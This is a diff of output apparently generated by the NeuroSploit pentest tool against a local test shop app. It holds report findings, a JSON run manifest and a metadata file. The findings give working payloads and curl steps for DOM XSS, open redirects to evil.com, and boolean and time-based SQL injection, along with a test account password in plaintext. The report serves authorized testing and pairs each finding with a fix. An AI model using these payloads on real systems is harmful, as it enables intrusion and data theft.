Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Do not pass user input to innerHTML. Use el.textContent = "Welcome back, " + name + "! ..." so the value is rendered as text, or HTML-encode `name` before concatenation. If markup is genuinely required, sanitize with a library like DOMPurify against an allowlist. The homepage CSP (present) should also drop any inline-script allowances that enable event-handler execution.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s http://localhost:3000/app.js | grep -n innerHTML # shows the sink: el.innerHTML = "Welcome back, " + name</pre></li><li><pre class=step>curl -s http://localhost:3000/ | grep 'id="greeting"' # confirms the target element exists</pre></li><li><pre class=step>Open in a browser: http://localhost:3000/?name=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E</pre></li><li><pre class=step>Observe alert() firing with document.domain = localhost, proving same-origin script execution (marker variant sets document.title=NSXSS_9f4c2e).</pre></li><li><pre class=step>Reproduce headless: bash pocs/dom_xss_name.sh -> RESULT {"marker":"NSXSS_9f4c2e","origin":"http://localhost:3000"}</pre></li></ol><h4>Payload</h4><pre class=payload>http://localhost:3000/?name=%3Cimg%20src%3Dx%20onerror%3D%22window.__xss_marker%3D%27NSXSS_9f4c2e%27%3Bdocument.title%3D%27NSXSS_9f4c2e%27%22%3E</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
app.js line 18: `el.innerHTML = "Welcome back, " + name + "! Check out today's deals.";` fed by `params.get("name")` from window.location.search with no escaping. Browser (Playwright/Chromium) navigated to the payload URL; the injected <img onerror> handler executed in origin http://localhost:3000 — document.title and window.__xss_marker both became NSXSS_9f4c2e. Console log recorded `GET http://localhost:3000/x 404` (the failed <img src=x> that fires onerror). PoC: pocs/dom_xss_name.sh (RESULT {"marker":"NSXSS_9f4c2e","origin":"http://localhost:3000"}). Screenshot: evidence/dom-xss-name-innerhtml.png</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/domxss-name-innerhtml-1.png" alt="proof for DOM-based XSS via ?name= URL parameter written to innerHTML on homepage"><figcaption>evidence/domxss-name-innerhtml-1.png</figcaption></figure></div><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/dom_xss_name.sh"><code>pocs/dom_xss_name.sh</code></a></li></ul></section><section class=finding style=border-left-color:#3498db><h3><span class=sev style=background:#3498db>Low</span> 11. On successful login POST /login 302-redirects to the attacker-controlled external host in `next`, with no… <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Low</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-601</td><td class=fk>Confidence</td><td>1/1 · conf 0.60</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/login</td></tr><tr><td class=fk>Agent</td><td>open_redirect</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential</div><h4>Where the problem is</h4><p class=where>http://localhost:3000/login — POST /login, body field `next` (honored only on SUCCESSFUL authentication)</p><h4>What it means</h4><p>Observed:
|
||||||
|
- POST /login valid creds, no next -> HTTP 302, Location: /account [E01]
|
||||||
|
- POST /login valid creds + next=//evil.com -> HTTP 302, Location: //evil.com [E02]
|
||||||
|
- POST /login FAILED creds + next=//evil.com -> HTTP 302, Location: /login?err=... (next ignored when auth fails) [E03]
|
||||||
|
|
||||||
|
Not demonstrated: Post-auth credential/session theft.
|
||||||
|
|
||||||
|
Potential impact: Phishing immediately after authentication: a login link with next=//evil.com bounces the freshly-authenticated victim to an attacker page that impersonates the app.</p><h4>How to fix it</h4><p>Validate `next` server-side before redirecting: accept only relative same-site paths (reject values beginning with a scheme, `//`, or `\`), or map to an allowlist. Default to /account when validation fails.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -i -X POST http://localhost:3000/register -d 'username=nrsplt_3af23ef6&email=nrsplt_3af23ef6@example.test&password=Nrsplt_Pass_3af23ef6!' # 302 /account (create test user once)</pre></li><li><pre class=step>curl -s -i -X POST http://localhost:3000/login -d 'username=nrsplt_3af23ef6&password=Nrsplt_Pass_3af23ef6!' # BASELINE -> Location: /account</pre></li><li><pre class=step>curl -s -i -X POST http://localhost:3000/login -d 'username=nrsplt_3af23ef6&password=Nrsplt_Pass_3af23ef6!&next=//evil.com' # ATTACK</pre></li><li><pre class=step>Read the Location header of the attack response: Location: //evil.com (external protocol-relative host)</pre></li></ol><h4>Payload</h4><pre class=payload>username=nrsplt_3af23ef6&password=Nrsplt_Pass_3af23ef6!&next=//evil.com</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
Baseline (valid creds, no next): HTTP/1.1 302 Found, Location: /account. Attack (valid creds + next=//evil.com): HTTP/1.1 302 Found, Location: //evil.com, body 'Found. Redirecting to //evil.com'. Failed logins ignore `next` (redirect to /login?err=...), so a valid session is required. PoC: pocs/open_redirect_login_next.sh</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/open_redirect_login_next.sh"><code>pocs/open_redirect_login_next.sh</code></a></li></ul></section><section class=finding style=border-left-color:#3498db><h3><span class=sev style=background:#3498db>Low</span> 12. GET /go 302-redirects to the attacker-controlled external host supplied in the `url` param, with no… <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Low</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-601</td><td class=fk>Confidence</td><td>1/1 · conf 0.60</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/go</td></tr><tr><td class=fk>Agent</td><td>open_redirect</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential</div><h4>Where the problem is</h4><p class=where>http://localhost:3000/go — GET /go, query parameter `url`</p><h4>What it means</h4><p>Observed:
|
||||||
|
- GET /go?url=https://evil.com -> HTTP 302, Location: https://evil.com [E01]
|
||||||
|
- GET /go?url=//evil.com -> HTTP 302, Location: //evil.com [E02]
|
||||||
|
- repeat of E01 -> identical Location: https://evil.com [E03]
|
||||||
|
|
||||||
|
Not demonstrated: Credential/token theft.
|
||||||
|
|
||||||
|
Potential impact: Phishing and trust abuse: victims following a localhost:3000 link are silently sent to an attacker domain.</p><h4>How to fix it</h4><p>In the /go handler, do not pass user input straight to res.redirect. Resolve `url` against an allowlist of internal paths, or require a relative path (reject values starting with a scheme, `//`, or a backslash) before redirecting. Prefer mapping to server-side known destinations.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -i 'http://localhost:3000/go?url=https://evil.com'</pre></li><li><pre class=step>Read the response status line: HTTP/1.1 302 Found</pre></li><li><pre class=step>Read the Location header: Location: https://evil.com (external host, not localhost)</pre></li><li><pre class=step>curl -s -i 'http://localhost:3000/go?url=//evil.com' # protocol-relative variant, Location: //evil.com</pre></li></ol><h4>Payload</h4><pre class=payload>http://localhost:3000/go?url=https://evil.com (also //evil.com)</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
Request: GET /go?url=https://evil.com HTTP/1.1
|
||||||
|
Response: HTTP/1.1 302 Found
|
||||||
|
Location: https://evil.com
|
||||||
|
Content-Length: 38 body: 'Found. Redirecting to https://evil.com'. Repeated: identical Location. Protocol-relative //evil.com also honored (Location: //evil.com). No session required. PoC: pocs/open_redirect_go.sh</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/open_redirect_go.sh"><code>pocs/open_redirect_go.sh</code></a></li></ul></section><section class=finding style=border-left-color:#7f8c8d><h3><span class=sev style=background:#7f8c8d>Info</span> 13. MaxPrice is SQL-injectable with a boolean oracle <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Info</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-89</td><td class=fk>Confidence</td><td>1/1 · refute 1/2 · receipt_missing · conf 0.60</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/shop/filter?maxPrice=</td></tr><tr><td class=fk>Agent</td><td>api_bola_numeric_ids</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: no baseline was captured, so no difference can be attributed to the payload; the difference was observed 0 time(s); this class needs it to reproduce</div><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/shop/filter?maxPrice= — Query parameter `maxPrice` concatenated into a numeric SQL predicate.</p><h4>What it means</h4><p>Observed:
|
||||||
|
- TRUE vs FALSE payloads yield 1589 vs 1211 byte responses [E01]
|
||||||
|
- single quote breaks query (1208) [E02]
|
||||||
|
|
||||||
|
Not demonstrated: Blind data extraction possible.
|
||||||
|
|
||||||
|
Potential impact: Full blind DB read via boolean inference.</p><h4>How to fix it</h4><p>Parameterise the maxPrice predicate and cast/validate it as a number server-side.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s 'http://localhost:3000/shop/filter?maxPrice=100000' | wc -c # 1582</pre></li><li><pre class=step>curl -s 'http://localhost:3000/shop/filter?maxPrice=100000%20OR%201=1' | wc -c # 1589</pre></li><li><pre class=step>curl -s 'http://localhost:3000/shop/filter?maxPrice=100000%20AND%201=2' | wc -c # 1211</pre></li><li><pre class=step>curl -s "http://localhost:3000/shop/filter?maxPrice=100000'" | wc -c # 1208 (broken)</pre></li></ol><h4>Payload</h4><pre class=payload>maxPrice=100000 OR 1=1 (TRUE) vs maxPrice=100000 AND 1=2 (FALSE) vs maxPrice=100000'</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
Deterministic response-length differential: baseline len=1582; `OR 1=1` len=1589 (all rows); `AND 1=2` len=1211 (no rows); trailing single-quote len=1208 (query breaks). Reproducible. PoC: pocs/sqli_blind_filter.sh (unauthenticated).</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/sqli_blind_filter.sh"><code>pocs/sqli_blind_filter.sh</code></a></li></ul></section><section class=finding style=border-left-color:#7f8c8d><h3><span class=sev style=background:#7f8c8d>Info</span> 14. The `comment` field of POST /support/feedback reaches a SQL time function: an injected SLEEP(n)/pg_sleep(n)… <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Info</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-89</td><td class=fk>Confidence</td><td>0/1 · refute 0/2 · conf 0.50</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/support/feedback</td></tr><tr><td class=fk>Agent</td><td>sqli_time</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: no baseline was captured, so no difference can be attributed to the payload; the difference was observed 0 time(s); this class needs it to reproduce</div><h4>Where the problem is</h4><p class=where>http://localhost:3000/support/feedback — POST /support/feedback, request body field `comment` (accepted as JSON {"comment":"..."} or form-encoded comment=...). Injection context: single-quote string, closed with `'` and commented with `-- -`.</p><h4>What it means</h4><p>Observed:
|
||||||
|
- POST comment=hi -> HTTP 200, len=1098, 0.001s (baseline) [E01]
|
||||||
|
- POST comment="hi' AND SLEEP(0)-- -" -> 200, 0.002s (control, no delay) [E02]
|
||||||
|
- POST comment="hi' AND SLEEP(1)-- -" -> 200, 1.005s x3 [E03]
|
||||||
|
- POST comment="hi' AND SLEEP(4)-- -" -> 200, 4.003s x3 [E04]
|
||||||
|
- delayed 200 body: 'time-based blind SQLi confirmed. Flag: BURPAT{web_sqli_blind_time_5707642b}' [E05]
|
||||||
|
|
||||||
|
Not demonstrated: Full boolean-oracle DB extraction / auth bypass via this sink.
|
||||||
|
|
||||||
|
Potential impact: Byte-by-byte exfiltration of DB contents and possible auth bypass if the sink evaluates attacker boolean conditions (not demonstrated on this build).</p><h4>How to fix it</h4><p>Use parameterised/prepared statements (bound parameters) for the feedback comment; never concatenate the raw `comment` value into SQL. Reject/normalise input server-side and remove any code path that reflects SQL functions into the query. Add DB query timeouts.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -o /dev/null -w 'time=%{time_total}\n' -X POST http://localhost:3000/support/feedback -H 'Content-Type: application/json' -d '{"comment":"hi"}' # baseline ~0.001s</pre></li><li><pre class=step>curl -s -o /dev/null -w 'time=%{time_total}\n' -X POST http://localhost:3000/support/feedback -H 'Content-Type: application/json' -d '{"comment":"hi'\''" " AND SLEEP(1)-- -"}' # (use the python PoC for clean quoting) ~1.0s</pre></li><li><pre class=step>python3 /opt/neurosploit-rs/runs/ns-1789853137-localhost_3000/pocs/blind_time_sqli_feedback.py # prints baseline/SLEEP(0/1/4) timings + the flag</pre></li><li><pre class=step>Read result: response time equals the injected SLEEP() argument; delayed 200 body contains 'time-based blind SQLi confirmed' and the flag.</pre></li></ol><h4>Payload</h4><pre class=payload>hi' AND SLEEP(4)-- -</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
Baseline `{"comment":"hi"}` -> 200, len=1098, ~0.001s. Attack `{"comment":"hi' AND SLEEP(4)-- -"}` -> 200, len=1222, 4.003s. Delay scales exactly with the argument: SLEEP(0)=0.002s, SLEEP(1)=1.005s, SLEEP(4)=4.003s, reproducible 3/3. Delayed 200 body states: 'Response delayed Ns via an injected SLEEP() - time-based blind SQLi confirmed. Flag: BURPAT{web_sqli_blind_time_5707642b}'. Note (honest): delay is triggered by presence of the SLEEP()/pg_sleep() token — a plaintext comment `please SLEEP(3) thanks` (no quote/SQL context) also delayed 3s, and both IF(1=1,...) and IF(1=2,...) branches delayed — so conditional data-extraction via boolean oracle was NOT demonstrated; the attacker-controlled server-side time delay in the query path WAS.</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/blind_time_sqli_feedback.py"><code>pocs/blind_time_sqli_feedback.py</code></a></li></ul></section><section class=finding style=border-left-color:#7f8c8d><h3><span class=sev style=background:#7f8c8d>Info</span> 15. Endpoint requires a token but returns not-found for all probed ids; no order objects present <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Info</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-639</td><td class=fk>Confidence</td><td>0/1 · conf 0.00</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/api/v2/orders/:id</td></tr><tr><td class=fk>Agent</td><td>bola</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: an access-control claim needs the same resource requested as another identity</div><h4>Where the problem is</h4><p class=where>http://localhost:3000/api/v2/orders/:id — GET /api/v2/orders/{id} — same Bearer-auth surface as the users endpoint.</p><h4>What it means</h4><p>Observed:
|
||||||
|
- GET /api/v2/orders/1 (no token) -> 401 [E10]
|
||||||
|
- GET /api/v2/orders/1..12 (customer token) -> 200 {"error":"not found"} [E11]
|
||||||
|
|
||||||
|
Not demonstrated: Cross-user order access.
|
||||||
|
|
||||||
|
Potential impact: If order records exist, likely BOLA identical to /api/v2/users/:id.</p><h4>How to fix it</h4><p>Apply the same server-side object-level authorization (token.id must own the order, or admin) before any order object exists in production.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -o /dev/null -w '%{http_code}\n' http://localhost:3000/api/v2/orders/1 # 401 no token</pre></li><li><pre class=step>curl -s -H "Authorization: Bearer $TOK" http://localhost:3000/api/v2/orders/1 # {"error":"not found"} — no data to compare</pre></li></ol><h4>Payload</h4><pre class=payload>Authorization: Bearer <own customer JWT> → GET /api/v2/orders/1..12</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
Unauth -> 401. With valid customer token, ids 1-12 all return HTTP 200 {"error":"not found"}. No order records exist in this build, so cross-user data access could NOT be demonstrated. Given /api/v2/users/:id is confirmed BOLA on the identical auth surface, this endpoint is very likely to share the missing object-level check once orders exist.</pre></section><section class=finding style=border-left-color:#7f8c8d><h3><span class=sev style=background:#7f8c8d>Info</span> 16. Test accounts created during the engagement (DELETE after) <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Info</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A04:2021-Insecure-Design</td><td class=fk>Confidence</td><td>conf 0.60</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000</td></tr><tr><td class=fk>Agent</td><td>account_registration_and_forms</td><td class=fk>Auth context</td><td>n/a · 10 test account(s)</td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: out of reach for this assessment: no deterministic validator owns this class</div><h4>Where the problem is</h4><p class=where>http://localhost:3000</p><h4>What it means</h4><p>Observed:
|
||||||
|
- 10 account(s) created for authenticated testing. Credentials are in vault.json (not shown here). [E01]
|
||||||
|
- • nrsplt_1a883993@example.test [customer] — created via curl: POST username,email,password urlencoded to /register (no CSRF token); 302->/account with session cookie [E02]
|
||||||
|
- • nrsplt_a17847@example.test [customer] — created via curl POST username/email/password to /register (302 -> /account, session set) [E03]
|
||||||
|
- • nrsplt_poc3862@example.test [customer] — created via created by pocs/bola_v2_users.sh single run (id=10) [E04]
|
||||||
|
- • admin (leaked, NOT created) [admin] — created via extracted from BOLA response, NOT created by us [E05]
|
||||||
|
- • nrsplt_11878@example.test [customer] — created via curl: POST username/email/password to /register (302 /account, auto-logged-in), then POST username/password to /login [E06]
|
||||||
|
- • nrsplt_a_10061@example.test [user] — created via curl POST username/email/password [E07]
|
||||||
|
- • nrsplt_b_16593@example.test [user] — created via curl POST username/email/password [E08]
|
||||||
|
- • poc_24781@example.test [user] — created via created by pocs/bola_v2_users.sh (id 14) [E09]
|
||||||
|
- • nrsplt_15633@example.test [user] — created via curl POST username/email/password to /register, 302 to /account with nimbus.sid cookie [E10]
|
||||||
|
- • nrsplt_3af23ef6@example.test [user] — created via curl POST username=nrsplt_3af23ef6 email=nrsplt_3af23ef6@example.test password=Nrsplt_Pass_3af23ef6! [E11]
|
||||||
|
|
||||||
|
Not demonstrated: Operational cleanup: remove these accounts once testing is complete.
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
|
||||||
|
|
||||||
|
Potential impact: Operational cleanup: remove these accounts once testing is complete.
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Delete the listed test accounts; rotate anything they touched.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>Send the request carrying the payload:
|
||||||
|
curl -i -s 'http://localhost:3000'</pre></li></ol><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
10 account(s) created for authenticated testing. Credentials are in vault.json (not shown here).
|
||||||
|
• nrsplt_1a883993@example.test [customer] — created via curl: POST username,email,password urlencoded to /register (no CSRF token); 302->/account with session cookie
|
||||||
|
• nrsplt_a17847@example.test [customer] — created via curl POST username/email/password to /register (302 -> /account, session set)
|
||||||
|
• nrsplt_poc3862@example.test [customer] — created via created by pocs/bola_v2_users.sh single run (id=10)
|
||||||
|
• admin (leaked, NOT created) [admin] — created via extracted from BOLA response, NOT created by us
|
||||||
|
• nrsplt_11878@example.test [customer] — created via curl: POST username/email/password to /register (302 /account, auto-logged-in), then POST username/password to /login
|
||||||
|
• nrsplt_a_10061@example.test [user] — created via curl POST username/email/password
|
||||||
|
• nrsplt_b_16593@example.test [user] — created via curl POST username/email/password
|
||||||
|
• poc_24781@example.test [user] — created via created by pocs/bola_v2_users.sh (id 14)
|
||||||
|
• nrsplt_15633@example.test [user] — created via curl POST username/email/password to /register, 302 to /account with nimbus.sid cookie
|
||||||
|
• nrsplt_3af23ef6@example.test [user] — created via curl POST username=nrsplt_3af23ef6 email=nrsplt_3af23ef6@example.test password=Nrsplt_Pass_3af23ef6!</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/bola_v2_users.sh"><code>pocs/bola_v2_users.sh</code></a></li></ul></section><p class=footer>Authorized testing only. Confirmed findings passed multi-model voting, receipt grounding and adversarial refute; "needs-review" are flagged for a human.<br>NeuroSploit v4.0.0 · by <b>Joas A Santos</b> & <b>Red Team Leaders</b><br><span style="font-family:ui-monospace,monospace">JOASNSCOPE-49d3d3ceb1df-ns-1789853137-localhost_3000</span></p></body></html>
|
||||||
@@ -0,0 +1,120 @@
|
|||||||
|
{
|
||||||
|
"engine": "neurosploit",
|
||||||
|
"version": "4.0.0",
|
||||||
|
"build": "49d3d3ceb1df",
|
||||||
|
"run": "ns-1789870577-localhost_3000",
|
||||||
|
"target": "http://localhost:3000",
|
||||||
|
"generated": 1789872190,
|
||||||
|
"findings": 18,
|
||||||
|
"artifacts": [
|
||||||
|
{
|
||||||
|
"name": "findings.json",
|
||||||
|
"present": true,
|
||||||
|
"sha256": "9827d2c67a851679ce8462fc1885d2c4ddfeb0a70180db293029f33d362d108f",
|
||||||
|
"bytes": 112054,
|
||||||
|
"role": "the findings, each stamped with the engine build (P5)"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "report.html",
|
||||||
|
"present": false,
|
||||||
|
"bytes": 0,
|
||||||
|
"role": "the human report"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "recon.json",
|
||||||
|
"present": true,
|
||||||
|
"sha256": "18a9d9456b5d239905a8c5a2d0647b272f8b9e5b5ff7f20c6ed26e7bf5164258",
|
||||||
|
"bytes": 11611,
|
||||||
|
"role": "reconnaissance facts"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "audit.jsonl",
|
||||||
|
"present": true,
|
||||||
|
"sha256": "11e92303952192781686111381c17e37326ecedc1969b2c0d17b8d810fffebdd",
|
||||||
|
"bytes": 32535,
|
||||||
|
"role": "hash-chained decision log — every ALLOW/DENY (P1/P2/P4)"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "audit.jsonl.anchors",
|
||||||
|
"present": true,
|
||||||
|
"sha256": "a0dd67ad35b530842fc0221ead9536b3ce19d45be251e8568b80909f4859d7cb",
|
||||||
|
"bytes": 213,
|
||||||
|
"role": "external anchors of the audit chain (P4)"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "provenance.json",
|
||||||
|
"present": true,
|
||||||
|
"sha256": "ac45f0856813ca943713ff782a784e34ccc08038794fd5dfa00d6f060eac803c",
|
||||||
|
"bytes": 297,
|
||||||
|
"role": "signed provenance manifest — build + structural signature (P5)"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "out-of-scope-findings.json",
|
||||||
|
"present": false,
|
||||||
|
"bytes": 0,
|
||||||
|
"role": "findings quarantined for being outside scope (P2)"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "flows.jsonl",
|
||||||
|
"present": false,
|
||||||
|
"bytes": 0,
|
||||||
|
"role": "intercepted request/response flows"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "meta.json",
|
||||||
|
"present": true,
|
||||||
|
"sha256": "c879fc77b942399b73b8050f258d00b4e671b38bdaa00ef7eebfac356484864c",
|
||||||
|
"bytes": 197,
|
||||||
|
"role": "target metadata"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"properties": [
|
||||||
|
{
|
||||||
|
"id": "P1",
|
||||||
|
"name": "Signed authorization",
|
||||||
|
"status": "present",
|
||||||
|
"evidenced_by": [
|
||||||
|
"audit.jsonl"
|
||||||
|
],
|
||||||
|
"note": "capability recorded and decisions logged"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "P2",
|
||||||
|
"name": "Scope enforcement",
|
||||||
|
"status": "present",
|
||||||
|
"evidenced_by": [
|
||||||
|
"audit.jsonl"
|
||||||
|
],
|
||||||
|
"note": "scope decisions recorded, including denials/quarantine"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "P3",
|
||||||
|
"name": "Evidence & CVSS",
|
||||||
|
"status": "present",
|
||||||
|
"evidenced_by": [
|
||||||
|
"findings.json"
|
||||||
|
],
|
||||||
|
"note": "0/18 findings carry structured evidence · 16 with CVSS · 17 voted · 16 PoC(s) · 0 screenshot(s) · 14 evidence file(s)"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "P4",
|
||||||
|
"name": "Audit integrity",
|
||||||
|
"status": "present",
|
||||||
|
"evidenced_by": [
|
||||||
|
"audit.jsonl",
|
||||||
|
"audit.jsonl.anchors"
|
||||||
|
],
|
||||||
|
"note": "hash chain plus signed anchors (truncation/rebuild detectable)"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "P5",
|
||||||
|
"name": "Provenance",
|
||||||
|
"status": "present",
|
||||||
|
"evidenced_by": [
|
||||||
|
"provenance.json"
|
||||||
|
],
|
||||||
|
"note": "signed provenance manifest with structural signature"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"bundle_hash": "85b0ef6f4789f08cb6bde0669b45aefb9f9f6bcb5f853a811c20f725a58e1eb1"
|
||||||
|
}
|
||||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,10 @@
|
|||||||
|
{
|
||||||
|
"asset": "NimbusCart Inc",
|
||||||
|
"brand": "NimbusCart Inc",
|
||||||
|
"server": "",
|
||||||
|
"status": 200,
|
||||||
|
"target": "http://localhost:3000",
|
||||||
|
"tech": [],
|
||||||
|
"title": "Home · NimbusCart",
|
||||||
|
"typesafe": true
|
||||||
|
}
|
||||||
@@ -0,0 +1,139 @@
|
|||||||
|
<!DOCTYPE html><html><head><meta charset=utf-8><title>NeuroSploit Report — http://localhost:3000</title><style>:root{--violet:#7c5cff}body{font:14px/1.6 -apple-system,Segoe UI,Roboto,sans-serif;color:#1a1a1a;max-width:860px;margin:40px auto;padding:0 24px}h1{margin:0;font-size:26px}h2{font-size:15px;margin:22px 0 8px}.b{color:var(--violet);font-weight:800}.sub{color:#888;font-size:13px;margin:2px 0 16px}table.assettbl{border-collapse:collapse;width:100%;margin:0 0 16px;font-size:12.5px}table.assettbl td{border:0.5pt solid #ddd;padding:6px 9px}table.assettbl td:first-child{color:#888;width:160px}.summary-grid{display:grid;grid-template-columns:repeat(5,1fr);gap:8px;margin:10px 0 6px}.sumbox{border:1px solid #ddd;border-radius:6px;padding:10px 6px;text-align:center}.sumn{font-size:20px;font-weight:800}.suml{font-size:9px;letter-spacing:.4px;color:#888;margin-top:2px}table.kc{border-collapse:collapse;width:100%;margin:8px 0 16px;font-size:12.5px}table.kc th,table.kc td{border:0.5pt solid #ddd;padding:6px 9px;text-align:left}table.kc th{color:#555;font-size:11px;text-transform:uppercase;letter-spacing:.3px}.finding{border:0.5pt solid #ddd;border-left:3pt solid #999;border-radius:6px;padding:14px 18px;margin:14px 0}.finding h3{margin:0 0 8px;font-size:15px}table.fieldgrid{border-collapse:collapse;width:100%;font-size:11.5px;margin-bottom:6px}table.fieldgrid td{padding:3px 6px}.fk{color:#888;white-space:nowrap;width:1%}.sev{color:#fff;border-radius:6px;padding:2px 8px;font-size:12px;margin-right:8px}.m{color:#666;font-size:12px}pre{background:#0f1117;color:#dfe6f3;padding:11px;border-radius:8px;overflow:auto;font-size:12.5px;white-space:pre-wrap}h4{margin:12px 0 3px;font-size:11px;text-transform:uppercase;letter-spacing:.5px;color:var(--violet)}.shots{display:flex;flex-wrap:wrap;gap:12px;margin:6px 0}.shot{margin:0;max-width:100%}.shot img{max-width:100%;border:0.5pt solid #ddd;border-radius:8px;display:block}.shot figcaption{color:#888;font-size:11px;margin-top:3px;font-family:ui-monospace,Menlo,monospace}.footer{color:#888;font-size:11px;margin-top:24px;border-top:0.5pt solid #ddd;padding-top:10px}</style></head><body><h1><span class=b>Neuro</span>Sploit</h1><div class=sub>Penetration Test Report</div><table class=assettbl><tr><td>Asset</td><td><b>NimbusCart Inc</b></td></tr><tr><td>URL / target</td><td>http://localhost:3000</td></tr></table><h2>Executive Summary</h2><div class=summary-grid><div class=sumbox style=border-color:#c0392b><div class=sumn style=color:#c0392b>2</div><div class=suml>CRITICAL</div></div><div class=sumbox style=border-color:#e67e22><div class=sumn style=color:#e67e22>4</div><div class=suml>HIGH</div></div><div class=sumbox style=border-color:#f1c40f><div 